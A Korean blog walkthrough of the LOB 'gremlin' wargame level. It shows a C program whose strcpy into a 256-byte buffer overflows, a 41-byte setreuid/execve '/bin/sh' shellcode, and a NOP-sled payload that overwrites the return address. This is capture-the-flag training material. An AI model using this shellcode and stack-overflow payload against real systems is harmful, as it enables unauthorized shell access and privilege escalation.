- int main(int argc, char*argv[])
- {
- char buffer[256];
- if(argc < 2){
- printf("argv error\n");
- exit(0);
- }
- strcpy(buffer, argv[1]);
- printf("%s\n",buffer);
- }
gremlin.c가 보여주는 소스코드이다.
strcpy( buffer, argv[1]) ; 에서 오버플로우 취약점이 발생한다.
사용할 쉘코드는 41byte이며 다음과 같다.
"\x31\xc0\xb0\x31\xcd \x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd \x80"
264byte를 덮어주니 eip가 바뀌면서 Segmentation fault를 내뿜는 모습을 확인할 수 있다.
LOB는 랜덤스택이 적용되지 않는다는 점을 감안하여
buffer(256) + sfp(4) = 260byte 뒤가 바로 ret(eip) 주소일 것이다.
제대로 덮인 것을 확인할 수 있다.
이제 저 스택을 NOP(\x90) 과 쉘코드를 채운 후 리턴주소를 조작하여 쉘을 획득해보자.
"\x90" * 200 + shellcode(41) + "\x90" * 19 + ret주소(적당히 \xe0\xfb\xff\xbf)
hello bof world
'pwnable > LOB' 카테고리의 다른 글
LOB goblin -> orc (0) | 2017.02.07 |
---|---|
LOB cobolt -> goblin (0) | 2017.02.07 |
LOB gremlin -> cobolt (0) | 2017.02.07 |